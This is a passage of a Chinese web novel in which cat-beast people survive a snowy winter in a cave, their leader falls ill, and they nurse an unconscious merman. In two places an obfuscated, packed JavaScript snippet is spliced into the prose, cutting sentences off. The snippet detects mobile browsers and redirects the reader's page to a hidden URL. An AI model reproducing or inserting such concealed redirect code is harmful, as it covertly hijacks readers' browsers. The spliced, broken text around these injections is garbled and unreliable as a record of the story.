白争争从洞外拎着那个破了口的陶锅,进山洞,放置在地上铺着的干草边。 他将四个幼崽抱起来,一边肩膀上放两个,下巴蹭蹭毛乎乎的脑袋。 石床那边,忙碌了一天的幼崽们都睡得鼾声起了。 白争争看了一眼,轻声道:“不睡了?” 幼崽摇头,往白争争颈窝蹭。 白争争与他们玩儿了一会儿,又将他们放在石床干草上。“要干活儿了,乖乖的。” 今天的收获不是一般的好。 风他们带回来十几只长耳兽,清带回来五十几只野鸭,还有那几藤筐的蘑菇…… 这会儿兽人们睡觉了,白争争便重新将蘑菇倒出来继续烘。又把野鸭跟长耳兽搬到山洞,开始宰杀。 他杀鸭的手很利落。 用锋利的黑曜石片将脖子一抹,血飙出时立马对准那破陶锅。 鸭血能吃,这么多只收集起来也不少了。 白争争这抹脖子抹得宛如流水线。 清甩着手进来,看他坐在人鱼边的干草上,面色冷静,脸上沾了些血点子。 以前在部落,族长逼他杀,往往他杀几只应付应付就跑了。 哪里像现在这样。 清不知道该怎么形容自己此时的心情,只是有些难受。 年踮脚越过蘑菇,看了一眼白争争跟前那烂陶锅。 “血留着吃?” “嗯。”白争争身后,绒球滚出来。他晃了晃脑袋,冲着年“喵”了一声,又转头爬上了人鱼的尾巴。 年侧头一瞧,几个崽子正把人鱼尾巴当滑梯,趴在上面往下滑。 他立即道:“争争,你看绒球他们。” 白争争转头,正好对上坐在人鱼肚子上的三个幼崽。以及一个撅着屁股还在往上爬的绒球。 白争争眼皮一抽。 抬手想拎他们,却看手上挂着沾了血的毛,收回手,面无表情道:“下来。” 几个幼崽脑袋一缩,争先恐后滚下人鱼肚子。 人鱼身材极好,要胸肌有胸肌,要腹肌有腹肌。不过胸口那抓痕,腰侧那窟窿,尾巴上还有夹板…… 这是个病人。 怎么能当玩具! 白争争道:“他受伤了,万一你们把他压死了……” 年捧着四个幼崽,嘿嘿笑道:“那不至于,他们才多大点儿。” 白争争盯着年。 年立即放下猫崽,看他们蹲在白争争面前听训。 清瞪了眼年,“没正事做了?” “有!立马做。”年将白争争抹了脖子的野鸭拿到洞口处,本想着出去开膛破肚,可一打开两道门,那冷风吹得他顿时抱臂蹲下。 太冷了。 清赶紧去将门关上,却在摸到门的瞬间,看着天空纷纷而下的雪花。 密密麻麻,他伸手接了一片进来,足足大拇指大小。 “争争,下好大的雪。”清身体微僵,有些慌乱道。 白争争幼崽也不训了,眉头紧拧。 “门关上,赶紧把鸭绒刮下来。清,外面那些猎物都收进洞里来了吗?” “都收了。”清也知道情况的迫切,顾不得什么臭不臭的,帮着处理长耳兽。 火堆快要熄灭,门缝里裹挟来的冷意吹得床上猫崽们团在一起。 白争争打了个哆嗦,赶紧起身往火堆里添木柴。手触到人鱼尾巴,摸着冰凉,莫名干燥。 这是缺水了? 白争争添了柴,随意找了块兽皮沾了水,贴在人鱼尾巴上。 火堆烧了一整晚,骤然的降温让三个成年兽人都受不了。他们从干草边挪到火堆边,机械地杀了一只又一只的野兽。 忙到半夜,却见外面天光明亮。 年困顿地扯着眼皮看了看,喃喃:“天亮了?” 白争争轻咳两声,嗓音微哑:“没有,多半是雪积起来了。” 火堆上陶锅一刻不停。 滚热的水浇在野鸭上,三个兽人围着一起拔毛。在他们旁边,一边是光秃秃的野鸭,一边是塞在兽皮兜里的鸭毛。 野鸭有限,白争争不敢再过于挑剔绒毛,差不多能用的都留下。 杀到半夜,风几个听到动静醒来。 有了他们的加入,白争争加紧处理鸭绒,又让清跟州去把之前积攒的小块兽皮缝成兽皮毯。 年则领着风、羽跟桐继续宰杀。 鸭绒要消毒,这里没什么消毒水跟清洗剂,只能用草木灰浸泡,高温清洗。 陶锅的水快沸腾时,便将鸭绒放进去,用草木灰洗过几遍后,又放在火上烘干。 烘干之后,塞进兽皮兜,放在陶锅上蒸半小时。 蒸过后继续烘,这样差不多就能用。 虽然还有些鸭子味儿,但已然干净不少。 白争争一刻没停,空闲中就帮着处理刮下来的小兽皮毛。 不知不觉,天亮了。 洞外落雪声细碎,幼崽们堆在一起,睡得正好。 时间差不多,白争争拨弄了下火上藤筐里的绒毛。松松散散,朵朵洁白,已经快要好了。 他先将藤筐取下,放在火堆旁,又用有缝隙的那个陶锅想取些水回来。 刚走到门口,清立即道:“争争!先别。” 白争争又困又冷,撑着身子回头。 清拿着做了一晚上的兽皮衣往白争争身上一披,州抓着兽皮靴过来,道:“抬脚。” 白争争拧眉:“不是叫你们做兽皮毯。” 清道:“兽皮毯没兽皮衣着急,洞里至少还有火。” 白争争嗫嚅,终是没说话,穿好后一头扎进了雪地里去。 洞里洞外仿佛两个世界。 白雪皑皑,银装素裹。自洞口,脚踝高的雪蔓延到视线尽头,世界一片银白。 鸟雀静声,野兽消匿,看不见一个活物。 就出来这一会儿,白争争抱着有缝隙的那口陶锅的手冻得绯红。他僵了僵,闷头飞快向着溪边去。 溪水还没上冻,但散落的石头上像罩了一个雪帽子。 叮叮咚咚的声响依旧,却衬得这冰天雪地,尤为清寒。 雪比他想象的更大,来得更快。 白争争蹲在溪水边,将陶锅沉入。呼吸间,眼前一股白气挡住视线。露在外面的脸有些僵。 太冷了。 白争争拎着打满了水的陶锅飞快进了山洞,一进去,洞内的热气将寒冷驱散。 脸上泛着丝丝缕缕的疼。 才这一会儿,就有种冻伤的感觉。 “争争,外面怎么样?” “冷。”白争争开口,才觉牙齿打颤。他蹲在火堆边缓了缓,面色严肃,“幼崽不允许出山洞,你们要出去必须兽形。” 清一听,顿时胆寒。 这才下雪,这么冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165259|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 白争争缓和过来,脱了兽皮衣服,赶紧把锅清洗个几遍,再加水炖汤。 旁边黑影一闪,他一把抓住。 年惊醒,盯着差点栽进去的火堆,半睁开眼睛。 白争争道:“你们先去睡一觉,睡醒了再干活儿。” “差不多了。”年闭紧眼睛,晃了晃脑袋。 该杀的都杀了,只是那些内脏什么的,要吃的话还得洗干净。 “去睡觉。”白争争道,“清,你们也去。” 清点头,眼睛也实在睁不开。 几乎是摸索着走到床边,往上一滚,变做个猫闭眼就睡去。 风、年几个要出去清洗,白争争直接让他们用锅里的热水洗了手,随后催促着他们去睡觉。 他自己看着锅,放些肉,往人鱼躺着的干草上一坐。 头有些晕,白争争按了按太阳穴,闭上眼睛缓了一会儿。 人鱼躺在身侧,无知无觉。 白争争将他尾巴上的兽皮拎起来,兽皮外层已经被烤干了。他捏了下人鱼的尾鳍,比之前润些。 想来是海里的兽人,不能怎么缺水。 白争争将兽皮浸湿,避开他的伤口,重新敷在尾巴上。 忙活一晚上的几个兽人睡熟了,床上的幼崽哼哼唧唧,挪动着,看着似乎快要醒来。 白争争脑袋沉得紧。 他盘腿坐在人鱼旁边,手撑着下巴,半眯着眼睛将手贴在人鱼上身。 跟人类的皮肤没什么两样,只是有些微凉。 摸着没什么问题,不知道上半身会不会存在缺水的情况。 白争争现在脑子空旷,把人鱼当昨晚摸过的那些鸭子。只是看看他会不会缺水后,收回了手。 他转过身,背对人鱼,盯着那还在炖肉的陶锅。 眼皮很重,仿佛有一只手拉着往下拽。 白争争心里想着眯一会儿,就眯一会儿,却恍恍惚惚躺下去,不知不觉就睡熟了。 睡着的滋味很舒服。 但朦胧间,一直不怎么敢放松。忽然想起锅里还在炖肉,他猛地坐起,却看十几个的猫崽围着锅。 他们互相叠着,像一座小山,将最上面的幼崽托举着。 高度正正好到陶锅口。 “煮好了吧?”底下的幼崽问。 “差不多,雁,拿点盐来。”猫猫堆顶上,脸最圆的猫崽道。 部落里二十几个幼崽兽人当中,最多的是雄性兽人,其次是亚兽人。他们林猫部落这些幼崽当中,也仅有两个雌性。 那刚刚出声的是圆,是雌性兽人当中最大的,十四岁。 除了她,就一个九岁的小大人一般的雁。 白争争头愈发的疼。 他撑起身来,道:“小心别烫到了。” “争争!”圆冲着白争争挥爪,“汤好了,快来喝。” 清几个还没醒,白争争放低声音靠近陶锅边。“拿自己的碗过来。” 幼崽们当即分散,各自叼了碗来。 白争争站起来有些晕眩,皮肤裸露在外面,冷得有些瑟缩。 他见幼崽的汤盛好,又个自己盛了一碗。 汤凉得很快,白争争囫囵吞了,全凭混乱的脑袋主宰,往干草上一坐。 本想着守着幼崽,怕他们被烫到。 但实在太冷了,像骨子里生出的寒冷,他蜷缩着变成了一只猫,全凭本能往暖和的地方蹭。 …… 白争争是被叫醒的。 他迷茫地睁开眼,脑浆像被搅散了,难受得想吐。 恍惚间,爪垫下有微弱的动静。低头看了看,鼻尖擦过人鱼的下颚,才发觉自己蜷缩在了人家的颈窝。 “争争,把这个喝下去。” 白争争蔫巴巴地低头,看着清手上端着的碗—— 褐色的草药糊糊。 “争争,你生病了。” 四爪微白,猫眼圆亮的小猫试探着冲碗里舔了舔,却被苦得一激灵。他下意识转过脑袋,一头扎进人鱼颈侧,用屁股对着围住他的大大小小的猫们。 “争争,你在发热……”清声音带出了哭腔。 白争争用混沌的脑袋思考了下,爪垫按在人鱼肩膀,看到那被草药糊住的伤口冒着水…… 现在不是在部落。 哥哥不在。 白争争转过身,低头凑进碗里。 他一鼓作气,喝得肚子圆鼓鼓。将要作呕时,清又端了一点汤来。 四脚踏雪的林猫脑袋埋进去,几下喝完。 打个嗝,自动寻着那有些丝滑微凉的地方,将冒着热气的脑袋贴上去。 清本来还想将他抱到石床去,结果他一头藏进人鱼发下。 海藻般的长发将巴掌大的小猫遮挡得严严实实。 清想了想,还是算了。 争争病了。 清、年还有风几个睡醒了起来,就看幼崽们围着人鱼团团转。 他们起初还以为是猫崽又对人鱼起了几分兴趣,结果就看幼崽双眼含泪,带着哭腔在扒拉一动不动的白争争。 他们吓得魂差点飞了。 清赶紧抱了猫检查,让风几个把锅里的汤盛出来赶紧吃了,洗了陶锅,煮了草药来。 这会儿喂完了药,心还提着。 幼崽们被吓到了,依偎在清身侧,双眼不离藏在人鱼头发底下的白争争。 清低声道:“别担心,争争只是太累了。” 他安抚着幼崽,也安抚着自己。 8. 第 8 章 白争争喝了草药睡得很熟。 兽人的身体比人类强健,生病也恢复得快。 白争争确实如清所说,是太累了。 从离开部落之后他就没休息过,消耗太过,降温就生了病。 在白争争睡觉的这段时间,兽人们并未停歇。 年用木棍在火堆上搭了个架子,将之前没风干的,以及昨晚刚杀的小兽和野鸭用绳子挂上去,做成烟熏的。 又把地面树叶上烘烤的那些蘑菇翻了翻,将边缘的弄到中间去。 风则带着小伙伴们将那些剥下来的兽皮裹着草木灰鞣制。 清坐在火堆旁,跟州一起继续把兽皮缝在一起。 他们抓不到大的野兽,收集起来的兽皮都是很小一张。东拼西凑地用骨针缝合到一起,除开做给白争争的那一套兽皮衣,余下的也只能勉强凑出一张兽皮毯。 风他们正在鞣制的那些本来打算给幼崽们做兽皮裙,但兽皮不够,也只能拿来做毯子。 兽人们正忙碌的时候,白争争睡得很沉。 他呼吸有些粗重,身体好像自肺腑放了一把火,烧得他张着嘴出气才算舒服。 他脸皱着,下意识贪凉。 滚着滚着,弄乱了人鱼的头发,将自己缠绕在其中挣不脱。好在爪垫不知贴在了哪里,冰凉舒服,才委屈哼唧着安分下来。 他这一觉睡到了第二天天亮。 醒来时,眼前被丝丝缕缕的东西遮挡得看不清。 白争争勾着爪子拉开,钻出去回头看,才看见人鱼那被自己弄得乱糟糟的头发。 像鸡窝一样。 他心虚地低头。 却看见自己爪子上还勾着几根暗红的头发。落在他棕褐色的毛毛上,更加惹眼了。 白争争在心里道了一声对不住,赶紧离人鱼远一点。 走着走着,闷头撞上一堆猫崽。脚□□草绊倒,直接翻身滚地。 “争争,你醒了!” 猫崽们蜂拥而来,全往白争争身上扑。 白争争招架不住,被这些养胖了的小崽子压着,空空的胃差点痉挛。 好在清看见,赶紧拎开幼崽。 白争争四肢趴地,瘫成猫饼,总算得以喘息。 他爪子抹了一把鼻尖,一戳猫毛。 侧过脑袋,对上清笑盈盈的脸。脑袋上一重,清探着他的温度,长吁一口气。 “可算好了,你睡了一天一夜。” 白争争有气无力,爪子艰难动了动。“饿……” 兽人们赶紧给他拿食物。 白争争吃饱了才算活过来。 睡着的时间说长不长,但也不短。白争争还想着绒被的事情,就看床上已经铺着一床厚厚的兽皮。 洞里火堆上,密密麻麻的肉熏制着,单是这一点就可以吃很久了。 还有原本放在火堆旁的蘑菇,也全收了起来。 洞内很干净,但也很充实。 远离火堆,靠着洞口那两边的石壁边都堆积得人高的干柴。干柴旁边,是几个硕大的藤筐,样式粗糙,但里面都装满了各式各样的菜干肉干。 再里面,清扫得很干净。 除了石床,就只有石床对面靠墙铺平的干草,上面躺着人鱼。 白争争看他尾巴上那兽皮,湿哒哒的,想必是浸了水的。 即便他什么也没交代,他的猫猫们也做得很好。 白争争休息了一会儿,往石床那边走。兽皮绒被子做得很厚实,看厚度,比得上一床十二斤的棉被。 被子垂下来一角,白争争用爪垫探了探,毛毛柔软,里面蓬松。 “盖着暖和吗?” “暖。”年道,“睡着还有点热呢。” 白争争点头,感觉身体都轻松了不少。 这样就不愁过冬了。 * 白争争身体才恢复,走了一会儿,身体出了一阵虚汗。 他在火堆边坐下,脑袋放空。 清他们刚吃过午饭,昨天白天加晚上为了把绒毯赶出来,没怎么睡过觉。 这会儿白争争醒了,他们又刚吃饱,困顿地干脆钻进兽皮绒毯里趴下,睡个午觉去。 洞内几乎被东西装满了,迫切要做的事情做完了,白争争也有空歇一歇。 他变回了人形,又把清做的那一身厚实的兽皮衣跟兽皮靴穿上。 白争争走到门边,先打开一道干草做的门,外面又是一道藤门。 门拉开,他站在原地。 不知道什么时候又下了大雪,门外的积雪已经堆了小腿高。雪面干净,隐隐看得到兽人走过的脚印。 看这样子,之后都要在山洞度过了。 白争争退回去,将两道门重新关上。 头一次闲下来,白争争还有些不自在。他走过堆积的木柴,翻看了下靠墙壁的几个大藤筐。 菜干装了一个,肉干装了四个,还有草绳上挂着的一排排风干的海鲜干。再边上,堆着用碎石围起来的紫皮根。 那火堆上方木棍上挂着的几排的熏鸭跟长耳兽,少说也能装四个藤筐。 应该不愁吃了。 手里有余粮,心不慌。 白争争一个个看过去,忽然立在了装草药的藤筐边。 脑中有什么模糊闪过,白争争转头,盯着那躺着的人鱼。 他疾步走到人鱼身边,蹲下来,手指轻轻在他伤口处的按了按。 一点化脓的水溢出来,白争争忙松了手。 也是他发热时迷糊注意到了,不然人鱼躺在这儿又不说话,怕是要得伤口再腐烂一遍发出恶臭,他们才能知晓。 人鱼救回来也几天了,还有气儿,但从没看他有过反应。 白争争稍稍反省了下。 人鱼是他扛回来的,但他上完药几乎就没管了,是不是不太负责? 之前确实忙昏了头,他反省。 之后有空,他多注意着些。 白争争一一检查完他的伤口,发现他胸口跟腰上最深的那几个窟窿一点愈合的迹象都没有,将草药撇开,直往外面流暗黄的脓液。 其他伤口倒是在慢慢结痂。 白争争叹气。 看着人鱼那一张漂亮脸蛋,莫名的愧疚感浮上心头。 没关系,还有办法补救。 白争争起身,去藤筐里重新找了草药捣烂,放在人鱼身边。用盐水将他身上的伤口洗干净,随后拿了只处理过他伤口的曜石片将化脓的地方割掉。 确保切干净后,再用盐水反复冲洗。 白争争看着那骇人的窟窿眼,默默用草药堵上。 也不知道之前干什么了,遭这么大罪。 几个严重的伤口处理完,白争争又看了下他的鱼尾巴。一直用这么个姿势躺着血液不通畅,会不会长疮? 白争争担心把人鱼带回来反倒让他遭罪,赶紧翻他身子,查看他后背。 ……全是干草的印记。 白争争赶紧给他翻个身,手掌搓热,像照顾瘫痪的患者一样给他按了按。 手触及人鱼皮肤,丝丝滑滑的。 比真丝还顺些。 白争争当他是块儿肉,快速按完之后,让人鱼保持着侧躺的姿势。 瘫痪的病人需要时常翻身。 人鱼应该也要。 白争争将这事儿记在心里,又摸了一把人鱼尾巴。还算湿润,不用再管。 摆弄完人鱼,白争争好不容易恢复的力气耗尽。 他在干草上坐下来,听着洞口外的下雪声。 他带着幼崽们离开部落这么久,现在才算彻底安顿好。后面不用担心吃喝,日子能悠闲一些。 但白争争始终牵挂着族人。 他的阿父阿爸们现在还生死不知。 白争争瞧着自己露在外面冻得泛红的手指,默默往袖子中藏了藏。柔顺的黑发已经齐肩,散下来,挡住了泛着愁绪的脸。 他们首先要做的,是活下来。 要把幼崽养好,养得白白胖胖,然后再去找他们的族人。 颓丧也只是片刻,身体脆弱时,思绪也往往极端且混乱。 白争争静坐了好一会儿,坐累了又下意识往后靠。后背贴到了人鱼身上,动作一顿。 他勾过人鱼,让他平躺下来。 还差点忘了,这里还有一条人鱼要照顾。 休息了几日,白争争彻底恢复。 虽说现在不能出去,外面的活儿干不了,但有些事情还是能做。 缺少工具的弊端早在采集的时候就暴露了出来。他们没有能随便带出去的藤筐,没有适合晒菜干的筛子,没有用来砍树的石刀、石斧,还有挖洞的石锹等等。 除开常用的工具,还要做些打猎的弓箭、石矛、粗绳…… 再有,开春天热起来,幼崽们喜欢用人形活动了,总穿草裙也不是个事儿。 细数起来,零碎的活儿依旧不少。 几乎一个念头过去,白争争就安排好这个冬季在洞穴里该做的事。 白争争修养了几日,兽人们也松快了几日。 等到他一安排事情,大家齐齐动起手来。 白争争穿上兽皮衣,负责将河沟里的石块儿放到岸边的藤板上。变做兽形的几个雄兽人则借着雪,将东西运送回去。 砍藤条与小木棍的活儿也是白争争的,运送就交给年他们。 花了两三日,材料准备好,山洞彻底关上两道门。 清跟白争争负责编藤筐,做筛子。 年领着风几个则叮铃哐当地敲石头,磨骨头,做石具。 幼崽们也分了活儿,他们要搓草绳,磨骨针,学习做饭。 山洞里除了人鱼躺着的地方铺着干草,其他就是光.裸的地面。 往常兽人们直接坐地上。但地面冷,冬季坐久了怕生病,白争争又教幼崽们做蒲团。 在想象中,冬日就应该在这样的忙碌中慢慢消磨过去。 但天越来越冷,越来越冷…… 到最后,外面不知零下多少度。 幼崽们坐在火堆旁都瑟瑟发抖。 白争争怕他们生病,直接赶了幼崽去兽皮绒被底下躺着,这才有所缓解。 气温并未回转,甚至还有下降的趋势。 到最后,连清他们在洞中保持人形都不能。 清保持着兽形,蹲在石床的兽皮上。尾巴圈在身前,两个爪子踩在上面。 他动了动,将爪垫往毛毛里缩。 “争争,你也上来吧。” 白争争穿着兽皮衣,坐在火堆前勉强能抗住。工具现在一时做不完了,他将东西都收起来。 又想起人鱼,走到他旁边先帮人鱼翻身。 触及他冰凉的皮肤,白争争手一僵。 险些以为摸到了冰块儿。 白争争赶紧将手贴在人鱼脖子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165260|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 脉搏还是那样,缓慢地跳跃着。又捏着他手臂抬了抬,是软的,没被冻僵。 清见他摆弄着人鱼,圆眼眯了眯。 好歹一起也待了快半个月了,对人鱼也没了多少畏惧。只把他当个不会醒的摆设。 现在外面那么冷,要是人鱼再在那干草上躺下去,会不会最后无声无息就没了气儿。 清爪子动了动,试探道:“要不把他搬到上面来?” 都这么久了还没死,保不齐永远这个样子。 死不了,又动不了,想想真可怜。 白争争看向兽皮底下拱出来的一个个毛脑袋,问:“放上来你们怕不怕?” 幼崽们摇头。 一条鱼而已,猫才不会怕鱼呢! 这边确实太冷,即便是生活在水里的鱼,太过寒冷也遭不住。 白争争示意来几个兽人帮忙。 两个抬上半身,两个抬鱼尾巴,尽量平稳地将他搬到石床。 幼崽们看着一条几乎有整个石床长的人鱼离他们越来越近,争先恐后地兽皮毯里面钻。 他们不是怕,是给鱼让位置。 “放外面还是放里面?”白争争问。 “里面吧,外面挡着不好出来。”蹲在兽皮被子上的骄矜猫猫爪子一抬,指挥着兽皮毯底下的幼崽们拱着被子往外面挪。 幸亏当初石床做得大,人鱼送到最里面,还有一半的空间。 人鱼躺下后,白争争爬上.床,卷了点干草垫在他的脑袋底下。又拉着兽皮往他身上盖了盖,只露出一个脑袋,还有一点尾巴尖。 “他尾巴上的板子能拆了吗?”清问。 幼崽们从兽皮下拱出来,堆在清身后,探头探脑往人鱼那边看。 白争争撩开兽皮,手往寻着鱼尾巴寸寸摸下去。 他目光专注,却看得一旁的幼崽们唔地一声,爪子蒙脸,埋在了兽皮里。 清耳朵一颤,转过头不看。 哪有摸尾巴摸得这么细致…… “再绑一下吧,感觉还没长好。” “嗯。”清背过身,没再多问。 天气实在太冷了,白争争又把洞里的火烧得更旺了些。兽人们现在每天都保持着兽形,只有白争争穿着兽皮衣服还能在地面活动。 气温降低,幼崽也失了活力。 只吃饭时他们才下地。 洞中两道门一直紧闭,门上方的空隙不小,风大时,还有雪花吹进来。洞中就显得更冷了。 吃过晚饭,白争争用嚼碎树枝刷了牙,哆嗦着脱了兽皮衣钻进被子底下。 他睡觉时经常睡在最外面,保持着人形。但天气太冷,人形不合适,之后与幼崽们一样,变做毛乎乎的绒球。 他一钻进被窝,就踩到了幼崽身上。 抬头一看,十几双眼睛泛着光,盯着他。 “睡进去一点。” “有人鱼。” “有人鱼也还有那么宽的位置。” “不去不去,争争去。”争争胆子大,幼崽们可是看过他弄乱人鱼头发,睡到人鱼颈窝边的。 白争争笑了声。 “你们不是不怕吗?” “才不怕!”幼崽嘴上不服。 被身后幼崽拱着,白争争忙护住尾巴,先一步跑到人鱼身边。 他就地趴下,与人鱼隔着一个巴掌的距离。像楚河汉界一样,将兽人们与人鱼隔开。 “这样总行了吧。” 被子底下黑黢黢的,幼崽们的眼睛闪亮。 “行了行了。” 兽皮加羽绒做的被子极为暖和,白争争趴在下面,听着幼崽们的呼噜声,不知不觉就睡了过去。 他睡觉不算老实,滚着滚着,爪垫贴着个温热的地方,缩了缩爪子团成球,更深地沉睡。 人鱼平躺着,俊美的面庞明显瘦了些,但英挺的五官依旧不算难看。 他皮肤白,细腻光滑。 爪垫在上面踩得久了,就是一个红色的梅花脚印。 这样的脚印在一夜过后,人鱼侧脸上出现了一个,脖子上则更多。 但人鱼无知无觉,即便就在脸庞最近处,毛绒绒的猫团着,他也感受不到那温暖又柔和的触感。 他身上只有随着兽皮的掩盖,自发调整的温热。 人鱼头发很长,被细致地撩起来,放在身侧。一部分被睡熟的林猫又弄乱了,像网一样在身上搅作一团。一部分顺滑地覆盖在胸口,遮住了那难看的伤疤。 经过白争争前两天的反省,之后的人鱼被照顾得不错。 他身上的草药已经换了两遍,唇有了血色,不那么吓人。 天气冷,人鱼的伤口没有再化脓。像尾巴上、后背那些浅一些的伤口已经结痂,有些还已经掉落,露出微粉的新肉。 尾巴上被拔掉的鳞片也慢慢冒出新的。 胸口跟腰侧的几个伤洞被草药覆盖,渐渐生出些痒意,好在人鱼没醒,如果有意识的话,怕是忍不住蹙起眉头。 人鱼干干净净,身上被擦拭过。 他身上没了伤口的血腥味、腐臭味,取而代之的是清新冰冷的海洋气息。像能包容一切,包括肩膀上巴掌大的小猫咪。 白争争就贴着人鱼,睡了一个满足的觉。 梦里,他抱着一条红墨交错的鱼。 小小一条,伤痕累累。 他想着,小鱼太可怜了,还是养一养再吃吧。 9. 第 9 章 连天大雪,寒意彻骨。 洞口被飘进来的雪濡湿,又凝结成了冰。 碎石与泥堆成的灶口里火烧得很大,陶锅里杂菜汤正沸着,冒着不青不绿的大泡泡。 白争争裹得严严实实,立在锅边搅拌。 陶锅旁的缝隙,架着几串正在烤的小八爪鱼。 烤八爪的香气蔓延,白争争注视着兽皮上鼓起的小包,不见动弹。 幼崽们都爱吃这个。 往常没烤好就守在火堆旁了,现在却没一个提得起兴趣。 石床旁边,之前人鱼睡觉的干草上放着几根腿粗的长木,用做了给幼崽们磨爪子的地方。 巴掌大的猫崽蹲坐在干草上,两个前爪有一搭没一搭地缓慢往木头上招呼。 那动作比生锈的机器还迟钝。 好好的一个幼崽,磨个爪子愣是磨出了一副老年迟暮的感觉。 白争争有些看不过去。 外面冷,哪能长待。 “雁,不磨去兽皮底下呆着。” 雁爪尖用力,勾下来一块树皮。巴掌大的猫崽背对着白争争,俯首长叹一声,随后晃悠悠地起身离开。 石床边缘,兽皮毯下,对着干草这边露出小脑袋的猫崽跳了下来,接替了雁的位置。 前一个走了,后面就蛄蛹着补充上来,在兽皮下露出个小脑袋。 白争争看到兽皮毯动了几下。 他还以为有幼崽对八爪鱼有兴趣呢,结果挪了一下就没了动静。 若是他掀开兽皮看,就清楚幼崽们此刻正排成长条,靠着假模假样的磨爪消磨时间。 “哎!”雁爬上床,重新趴在队伍的最后。 “哎——”前头排着队的猫崽齐声一叹。 白争争搅动着杂菜汤,五指紧了紧。 “吃饭了。” “争争,不饿。” “我也不饿……” “我们都不饿……” 清打着哈欠,四肢泛软地从兽皮底下钻出来。“争争,我也不怎么饿。” 白争争看他一身凌乱的毛发,放下汤勺,拿了烤串放在石板上。 “真不吃?” “一点点。”年扑腾起来,往火堆旁边挪。 下雪后,他们受不住寒冷,已经在兽皮毯下呆了好多天了。成日里吃了睡,睡了吃,不止幼崽无聊,他们也无趣。 白争争盛了汤,看着幼崽来吃。 幼崽的饭量小了不少。 原先巴掌大的一碗能吃大半碗,现在吃一半都勉强。白争争换着花样来做,都提不起幼崽的兴趣。 这样下去也不是办法。 “既然闲不住,那就找点活儿干。”白争争起先能不让幼崽下地就不让幼崽下地,这样看来是不行。 约束太过,比坐牢还难受。 “那做什么?”雁从碗里抬头,舌尖舔过鼻头,小胡子上也干干净净。 白争争道:“就之前那些事儿,想做什么做什么。” 幼崽们点点头,几下吃完,围在一起嘀嘀咕咕已经商量起来了。 白争争:“不能把自己弄生病。” “知道。”幼崽冲着他抬了下爪。 白争争没指望他们能干出个什么名堂,只是想转移一下他们的注意力。 除了幼崽,还有一条鱼需要操心。 人鱼已经躺了半个月了,身上的伤口已经好得差不多。鳞片陆续长了出来,暗红近黑,又隐隐带着珠光似的,光线映照下很是华美。 但外伤渐愈,人鱼却是肉眼可见的瘦了下来。 白争争放凉了一碗杂菜汤,端到人鱼旁侧。 人鱼在恢复期,却没有进食的能力,消耗的全是自己的身体。白争争现在每次吃饭都试图给他灌点东西,往往巴掌大的一碗汤,也只能灌下去三分之一。 他坐在人鱼身后,扶着他靠在身上。头微抬,捏着木勺子往他嘴里塞。 清蹲在一旁,对这一幕早就见怪不怪。 人鱼消瘦是显而易见的。 这么久了也没醒来,再这样下去,他只会一直躺着到死。 清觉得,人鱼或许熬不过这个冬季。 …… 让人鱼吃了点东西,白争争又给他擦了擦身上的汤汁。 山洞里此时叮铃哐当响个不停,幼崽们已经在推石头,刨树皮了。 洗碗锅,收拾了碗筷,白争争回到人鱼身边。 清看着白争争又在摸人鱼尾巴,耳朵动了动,转个身,脸一下子埋在了身后年的毛毛里。 年舔了一下清的脑门,爪子抱着他,下巴搭在他两个耳朵中间盯着白争争。 清拱着脑袋在年的毛毛上擦了擦额头上的口水,又把自己团了团,窝在年身上打盹。 “争争,你做什么?”年问。 “看他尾巴上的板子能不能拆了。”白争争道。 兽人的恢复速度很快,人鱼尾巴骨头在慢慢愈合,他又一直不动,板子放不放影响不大。 白争争摸了尾巴一会儿,还是决定把板子拆了。 他将草绳解了,双手托着人鱼尾巴:“年,帮忙抽一下。” 年凑近,爪子一勾,将板子抽出来。 白争争尽可能轻地将人鱼尾巴放下。 手松开,又摸着尾巴有些干燥,白争争将他敷尾巴的那块兽皮取下来。 “咯吱咯吱……嚓嚓嚓……”山洞里动静有些大。 白争争直起身扫了眼,雁领着十岁以下的幼崽一堆在用爪子磨骨片。看那样子,是要做骨针。 圆领着十岁以上的幼崽在砸石头。 由于白争争不准他们变做人形,两个猫爪垫不是很好使。但也不妨碍幼崽们干活的激情。 至于风那四个十七八岁的少年们,正踩着那块河里捡回来的黑曜石,商讨着做些捕猎的武器。 他们都围着火堆,挨得很近。 各有各的事儿,总算听不到那叹气声。 “别烧到毛毛了。”白争争提醒。 幼崽们看了眼火堆。 烧不到。 他们还没火堆围着的那一圈碎石头高呢。 白争争拎着兽皮去浸水。 部落用水是用那有裂缝的石锅盛的,安置在火堆边。若离火堆远了,它就会结冰。 白争争将水舀了些出来,将兽皮浸湿,回去给人鱼敷尾巴。 “哐当哐当……咔嚓咔嚓……” 有些吵,但山洞中也有了点生机。 烬就是在这样的声音中有了意识。 年正坐在兽皮上,圈着清给他取暖。他看着人鱼发呆,却不想在白争争放下兽皮的那刹那,人鱼的手指好像颤了一下。 “动、动了!”年惊得坐直。 清一爪子压在他肚皮上,让他安分着当肉垫,转头盯着人鱼。 一时间,洞里乱七八糟的声音骤然消失。

